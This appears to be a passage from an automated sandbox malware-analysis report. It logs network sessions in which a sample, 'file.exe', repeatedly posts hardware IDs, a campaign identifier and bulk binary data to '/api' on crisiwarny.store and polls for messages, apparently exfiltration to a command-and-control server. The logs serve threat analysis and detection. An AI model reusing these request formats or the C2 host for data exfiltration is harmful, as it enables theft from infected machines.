2024-10-26 06:54:57 UTC	1369	IN	Data Raw: 53 65 49 57 62 2f 2b 4e 6d 42 72 50 42 65 75 50 31 58 43 53 4f 75 78 58 4b 35 67 4e 30 44 61 6e 46 33 74 6d 4f 75 77 35 33 39 66 66 38 52 42 70 35 38 39 65 6e 59 2b 48 2b 6b 39 45 74 77 50 38 37 38 35 72 53 31 71 44 74 7a 55 62 4f 71 48 34 66 50 6d 4d 52 39 2f 31 30 2f 6d 6e 79 6f 77 50 6d 42 65 72 6d 4e 56 6e 6b 6a 30 2f 33 53 69 62 6a 78 4e 7a 38 78 36 35 4a 37 6c 2b 4e 34 42 4e 44 4c 46 42 50 48 59 41 6b 35 48 4f 51 44 6a 66 68 4b 45 4b 4c 54 6e 65 70 31 54 42 56 2f 61 7a 6a 37 42 69 2f 43 38 6f 48 46 52 4a 34 68 5a 76 2f 34 32 59 47 73 38 46 36 78 52 45 74 41 4c 38 37 38 35 70 79 31 71 44 76 6a 54 63 65 4b 47 34 66 33 42 4e 51 45 79 78 77 61 39 2f 7a 74 6d 5a 58 4e 65 72 6e 31 56 6e 6b 69 79 2b 32 6d 75 59 6a 55 43 32 73 52 37 70 38 61 6d 73 61 42 6e Data Ascii: SeIWb/+NmBrPBeuP1XCSOuxXK5gN0DanF3tmOuw539ff8RBp589enY+H+k9EtwP8785rS1qDtzUbOqH4fPmMR9/10/mnyowPmBermNVnkj0/3SibjxNz8x65J7l+N4BNDLFBPHYAk5HOQDjfhKEKLTnep1TBV/azj7Bi/C8oHFRJ4hZv/42YGs8F6xREtAL8785py1qDvjTceKG4f3BNQEyxwa9/ztmZXNern1Vnkiy+2muYjUC2sR7p8amsaBn

Session ID	Source IP	Source Port	Destination IP	Destination Port
26	192.168.2.7	50080	172.67.170.64	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 06:54:57 UTC	282	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12849 Host: crisiwarny.store
2024-10-26 06:54:57 UTC	12849	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 37 31 32 45 30 42 44 33 30 41 42 46 41 44 41 31 35 37 39 31 41 45 37 38 35 32 34 42 44 30 36 42 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"712E0BD30ABFADA15791AE78524BD06B--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-26 06:54:58 UTC	1010	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 06:54:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=h79bjr9qsqgbr4a9sgfo440sqh; expires=Wed, 19 Feb 2025 00:41:37 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=O3b4tkqMg7MIH6Ea85slMfEnxHidnzeAh5WlmOHACTjcxAR78uWDvS0su7DafuTKJr8tPFGnX3PgUY4W21%2FqKiAoyh%2BWHYSUN8exDGyTqp2Nqm%2Bhn5epEhyFzmxQAMah6PYU"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d8889bb8fb73596-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1172&sent=8&recv=18&lost=0&retrans=0&sent_bytes=2838&recv_bytes=13789&delivery_rate=2419381&cwnd=251&unsent_bytes=0&cid=07a9f7c2ca7914a5&ts=895&x=0"
2024-10-26 06:54:58 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 36 38 0d 0a Data Ascii: 11ok 173.254.250.68
2024-10-26 06:54:58 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.7	50083	172.67.170.64	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 06:54:59 UTC	282	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15081 Host: crisiwarny.store
2024-10-26 06:54:59 UTC	15081	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 37 31 32 45 30 42 44 33 30 41 42 46 41 44 41 31 35 37 39 31 41 45 37 38 35 32 34 42 44 30 36 42 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"712E0BD30ABFADA15791AE78524BD06B--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-26 06:54:59 UTC	1017	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 06:54:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=086c2q3habo19bfmm2uquop543; expires=Wed, 19 Feb 2025 00:41:38 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=kfs%2BDG8FHwH1m0p96DTpRxP%2BvowrczCY%2Bk5Aod%2B2ORUO1bMjrc%2BdoDvegRz4mpLRb1WjN8mAvCQ1WSAsnkdTq3aYDrMiCNM9x9363pZ%2BAkxh14a5dNd16HlEhtb7PaU5r5yI"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d8889c509cee73a-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1526&sent=11&recv=19&lost=0&retrans=0&sent_bytes=2839&recv_bytes=16021&delivery_rate=1875647&cwnd=243&unsent_bytes=0&cid=598798ffa49d5ed3&ts=435&x=0"
2024-10-26 06:54:59 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 36 38 0d 0a Data Ascii: 11ok 173.254.250.68
2024-10-26 06:54:59 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.7	50084	172.67.170.64	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 06:55:00 UTC	282	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20406 Host: crisiwarny.store
2024-10-26 06:55:00 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 37 31 32 45 30 42 44 33 30 41 42 46 41 44 41 31 35 37 39 31 41 45 37 38 35 32 34 42 44 30 36 42 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"712E0BD30ABFADA15791AE78524BD06B--be85de5ipdocierre1Content-Disposition: form-data; name="pid"3--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-26 06:55:00 UTC	5075	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b6 b9 fe 28 58 da f6 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 36 d7 17 05 4b db 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e6 fa a3 60 69 db 4f 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 db 5c 5f 14 2c 6d fb 69 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 9b eb 8f 82 a5 6d 3f 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6c 73 7d 51 b0 b4 ed a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 6d Data Ascii: (X6K~`iO\_,mi`m?ls}Qm
2024-10-26 06:55:01 UTC	1011	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 06:55:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=2l10rqhsaf1c8gmdfjhr8e2fdr; expires=Wed, 19 Feb 2025 00:41:39 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=W1PrPRT8rH3qG%2FGwbubsIEDRHrLuiJ3x%2BtpQJmVbGodlyhlwJE2RGtuNMJbxdWA54QtpVuCdg8Ekq3RRkA7mtPn196Y6QqwQzissYO8D6N%2BFaDW0VcAI4osTIoqsCh3NZWWN"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d8889cc1ffa3ac2-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1142&sent=11&recv=27&lost=0&retrans=0&sent_bytes=2837&recv_bytes=21368&delivery_rate=2373770&cwnd=251&unsent_bytes=0&cid=d862943ec7479f18&ts=722&x=0"
2024-10-26 06:55:01 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 36 38 0d 0a Data Ascii: 11ok 173.254.250.68
2024-10-26 06:55:01 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.7	50087	172.67.170.64	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 06:55:01 UTC	281	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1331 Host: crisiwarny.store
2024-10-26 06:55:01 UTC	1331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 37 31 32 45 30 42 44 33 30 41 42 46 41 44 41 31 35 37 39 31 41 45 37 38 35 32 34 42 44 30 36 42 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"712E0BD30ABFADA15791AE78524BD06B--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-26 06:55:02 UTC	1006	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 06:55:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=cncvneb2t7rd2b0rht2kl05mnr; expires=Wed, 19 Feb 2025 00:41:40 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ePcjFsYnS8uaq0q8EySeojmmp69c0hde9TVsy6gm%2BHisZHNy6EvB69NRYWyTJTazTtropoXetVEf4Nin1ECT7RfjaUWhknDQCNiEyU2TwyECXPQKORoGH62ae2u7upx%2FsT1t"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d8889d4b8f06bf6-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1153&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2837&recv_bytes=2248&delivery_rate=2180722&cwnd=252&unsent_bytes=0&cid=b2b824e51d47b266&ts=375&x=0"
2024-10-26 06:55:02 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 36 38 0d 0a Data Ascii: 11ok 173.254.250.68
2024-10-26 06:55:02 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.2.7	50090	172.67.170.64	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 06:55:03 UTC	282	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 49154 Host: crisiwarny.store
2024-10-26 06:55:03 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 37 31 32 45 30 42 44 33 30 41 42 46 41 44 41 31 35 37 39 31 41 45 37 38 35 32 34 42 44 30 36 42 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"712E0BD30ABFADA15791AE78524BD06B--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-26 06:55:03 UTC	15331	OUT	Data Raw: 94 dd ce 18 67 a8 64 30 3a ff ba ee f5 59 56 7d b4 a7 ed 42 e1 25 e0 d0 78 5c d9 4f d0 60 cb 5d 8e c6 2e 47 1e 0d 52 e0 c6 5d bd a4 4a 3b 40 89 39 f6 ab f3 e5 a2 c3 55 31 68 f0 76 ce f2 9d 47 a7 50 ef f5 38 2f 83 45 2a df 1b 43 56 9d ab b9 b9 01 2a 9a b8 6c 39 5f fd 42 56 be d8 ad 8c a3 b1 58 31 91 07 f6 0b 05 58 9f 05 f4 c1 53 c9 d5 6f c7 9c 01 ca 42 5e 35 3a 80 43 e8 d2 ae 17 3f d5 0c 18 e6 38 37 15 ed e3 2e 8d 72 6e f3 5a 51 75 aa ca 08 33 45 66 7a d8 38 ba de ed 0a 85 ab 71 79 ab 7f 7b 1b a5 de 1d dd b4 b8 92 1f 1f 13 5d b7 1c 25 65 86 d1 92 2d 78 84 e6 d8 c2 76 0a d7 a6 40 29 a1 55 73 37 51 51 5a b0 cb 40 57 7a 30 bc 88 38 c7 93 6b a9 0a bc fd 58 e9 38 1f da 23 59 13 03 5c 09 51 76 8e ab b9 db dd 74 ea 52 b3 6c 79 87 8e 78 b2 8b f0 1c 4e 0b 70 97 ac Data Ascii: gd0:YV}B%x\O`].GR]J;@9U1hvGP8/ECVl9_BVX1XSoB^5:C?87.rnZQu3Efz8qy{]%e-xv@)Us7QQZ@Wz08kX8#Y\QvtRlyxNp
2024-10-26 06:55:03 UTC	15331	OUT	Data Raw: 85 94 58 86 dc 00 9c b5 90 31 63 dc 17 a5 11 71 f8 c6 6d 9d ab 59 ec 19 47 7b bd ce 9f ce fa 23 11 e2 03 2b c4 b5 d1 e5 da 3c 65 8d c3 ba 7f 6a ad 5f e7 01 c2 4b ba 68 91 02 17 3c 75 d8 53 b5 75 93 fb 66 96 f9 22 22 fe fb 16 06 20 e3 2c 4c c5 48 e1 7d e2 14 11 29 50 f4 48 87 99 72 44 88 75 e3 c2 f5 93 a9 dc 72 0a c3 42 8a 4d 42 4a e8 1d de 0b 54 8b 17 f5 e2 7b 0f 5c 06 52 f6 fe 3e a8 a9 84 3d 06 4c b2 20 1d 2f 44 43 e9 8f cb b6 f9 7c 61 dd f7 27 4d 75 5e c9 d3 9c a9 0e ec 35 ba 6c 20 14 cf 92 30 67 f2 d3 53 57 76 df 3f 5d f9 e1 e1 00 a4 3e 8b a5 2c 39 df 2e 31 39 3a 26 34 28 eb ef 90 2e a8 16 4e f3 ea 3f 02 77 96 df b2 fb 41 05 86 53 0e a6 7b 1e 3b fd c7 6b 44 b0 ee 68 8d d1 ce 23 cd 7f 58 32 f6 6c e0 fc 09 e8 91 36 ef 7f 17 eb ca 50 c3 64 ee 75 d7 f9 90 Data Ascii: X1cqmYG{#+<ej_Kh<uSuf"" ,LH})PHrDurBMBJT{\R>=L /DC\|a'Mu^5l 0gSWv?]>,9.19:&4(.N?wAS{;kDh#X2l6Pdu
2024-10-26 06:55:03 UTC	3161	OUT	Data Raw: 43 d6 55 49 a2 ea 4a 45 78 b2 d9 3f ac fb 15 79 db c2 c2 e2 eb ac 9d 37 db f0 95 7e 98 99 0c 6e e1 fb 6b 63 33 87 2c cc 58 16 bb 03 62 35 5d 3d cb a8 f7 c0 c5 fe 24 93 bc 24 3c 44 b2 be 0b fd b9 3f f0 66 06 49 16 b4 15 13 ee 6e ad 33 0d da cc 50 bf 60 0f ae 9b 4d 97 7b 51 62 16 89 9d 57 39 f0 fb 37 f0 36 e2 b6 b4 a0 73 a4 42 63 f6 ed 98 3d f2 49 2a b3 d0 ea a2 6a 23 3d 9a ee 93 06 5c 63 b9 04 80 1a 7c 6e a1 61 b2 4e be 35 2a ff b9 d6 04 e8 81 df ad 77 5c ad a3 33 e8 20 af 61 3a 08 b2 c9 11 30 41 9f 0c 23 94 d1 8e 7a fa 12 de f5 99 b2 05 3d 37 01 6c 9f ec 5e 47 55 1d 04 77 ae 70 91 22 53 53 d7 a3 f0 e8 ca ed 78 fe 1e b7 cd 86 da e2 20 a6 74 8c 85 a6 85 04 7c 90 90 b1 a0 b0 8d 99 d7 00 81 96 44 62 ec cc 0b ba 13 68 0a 61 0b ba 96 1a 5b 0f 0b 56 68 5a dc 5b Data Ascii: CUIJEx?y7~nkc3,Xb5]=$$<D?fIn3P`M{QbW976sBc=Ij#=\c\|naN5w\3 a:0A#z=7l^GUwp"SSx t\|Dbha[VhZ[
2024-10-26 06:55:04 UTC	1018	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 06:55:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=l8q4r40h1c95it7cmeb0ubs321; expires=Wed, 19 Feb 2025 00:41:43 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=3JVWf9X%2BBYD0T3M03AyBgBc2wUxHJ3LyIMMXve10gBQ%2FM7Z%2B3HNEjAU9wFXZpLS8mFZ5gHDLYpffGHeCbDfsnKmy%2F3AMQ38ApKTL4WLj6%2BdQYie18gOfuGviyiM4TN7hWZ%2Be"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d8889dfff44469c-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1071&sent=25&recv=59&lost=0&retrans=0&sent_bytes=2838&recv_bytes=50204&delivery_rate=2652014&cwnd=241&unsent_bytes=0&cid=1574f7a7a34b38be&ts=1092&x=0"
2024-10-26 06:55:04 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 36 38 0d 0a Data Ascii: 11ok 173.254.250.68
2024-10-26 06:55:04 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.7	50092	172.67.170.64	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 06:55:05 UTC	264	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 87 Host: crisiwarny.store
2024-10-26 06:55:05 UTC	87	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e 64 61 72 79 79 26 6a 3d 26 68 77 69 64 3d 37 31 32 45 30 42 44 33 30 41 42 46 41 44 41 31 35 37 39 31 41 45 37 38 35 32 34 42 44 30 36 42 Data Ascii: act=get_message&ver=4.0&lid=4SD0y4--legendaryy&j=&hwid=712E0BD30ABFADA15791AE78524BD06B
2024-10-26 06:55:05 UTC	1007	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 06:55:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=5c6kcr6tct0q4hjajpcve5si6j; expires=Wed, 19 Feb 2025 00:41:44 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Y04h0B9GNgfdn2euqQ6P0clo7B96uj3W2y887VRlYYaI2rmKnD4KBaBGrN99uiXEBw7irvv%2BPLs9hBhGMOCTgf4HzLOGT0%2BH7qDDduH5XXLQIn2zsE23woNba%2BuPJGX5vfpp"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d8889ea7df56b29-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1748&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2838&recv_bytes=987&delivery_rate=1651083&cwnd=251&unsent_bytes=0&cid=e67f55c17e16623e&ts=490&x=0"
2024-10-26 06:55:05 UTC	299	IN	Data Raw: 31 32 34 0d 0a 78 63 6e 58 48 78 30 30 43 56 4f 6b 71 57 6a 74 42 51 45 34 58 64 68 6e 39 54 41 31 66 41 36 37 46 73 6f 45 48 4c 56 4e 76 68 32 65 73 76 56 71 50 77 34 72 4f 39 44 64 47 4e 64 5a 4c 6d 52 79 36 56 2f 41 48 67 64 4e 4f 35 55 6e 2b 7a 63 79 68 48 76 69 4d 71 69 67 75 58 70 42 47 33 73 79 79 73 30 48 67 43 74 6b 51 44 6a 36 53 39 64 57 51 56 34 30 69 7a 72 6f 59 54 36 50 66 63 4d 78 76 75 75 69 50 53 63 57 59 53 66 51 32 56 4b 78 4b 6c 30 58 62 4f 42 53 32 77 49 45 53 53 43 4b 4a 2f 6b 71 4c 59 4d 52 6b 57 36 78 72 4c 5a 79 51 52 74 37 4d 73 72 4e 42 34 41 72 5a 45 41 34 2b 6b 76 58 56 6b 46 65 4e 49 73 36 36 47 45 2b 6a 33 33 44 4d 62 37 72 6f 6a 30 6e 46 6d 45 6e 30 4e 6c 53 73 53 70 64 46 32 7a 67 55 74 73 43 42 45 6b 67 69 69 66 35 4b 69 Data Ascii: 124xcnXHx00CVOkqWjtBQE4Xdhn9TA1fA67FsoEHLVNvh2esvVqPw4rO9DdGNdZLmRy6V/AHgdNO5Un+zcyhHviMqiguXpBG3syys0HgCtkQDj6S9dWQV40izroYT6PfcMxvuuiPScWYSfQ2VKxKl0XbOBS2wIESSCKJ/kqLYMRkW6xrLZyQRt7MsrNB4ArZEA4+kvXVkFeNIs66GE+j33DMb7roj0nFmEn0NlSsSpdF2zgUtsCBEkgiif5Ki
2024-10-26 06:55:05 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	6
Start time:	02:52:40
Start date:	26/10/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x680000
File size:	3'008'000 bytes
